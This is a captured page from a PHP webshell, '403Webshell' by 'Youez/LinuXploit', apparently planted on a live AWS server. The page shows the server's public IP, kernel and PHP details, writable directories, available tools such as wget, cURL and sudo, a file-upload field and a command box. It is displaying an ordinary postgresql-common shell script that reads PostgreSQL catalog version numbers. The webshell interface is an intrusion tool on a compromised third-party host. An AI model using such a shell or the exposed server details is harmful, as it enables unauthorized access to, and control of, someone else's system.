403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/postgresql-common/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/postgresql-common/server/catversion
#!/bin/sh

# Extract server catalog and control file version numbers.
# This information is stored in the packages and used at install time to
# determine if an in-major-version pg_upgradecluster is required.

set -eu

CATVERSION=$(awk '/^#define CATALOG_VERSION_NO/ { print $3 }' src/include/catalog/catversion.h)
CONTROLVERSION=$(awk '/^#define PG_CONTROL_VERSION/ { print $3 }' src/include/catalog/pg_control.h)

case $CONTROLVERSION in
    # control file versions used in PG 9.6 .. 15
    # don't append to catversion to avoid spurious warnings for users of existing packages
    960|1002|1100|1201|1300) echo "$CATVERSION" ;;
    *) echo "$CATVERSION-$CONTROLVERSION" ;;
esac

Youez - 2016 - github.com/yon3zu
LinuXploit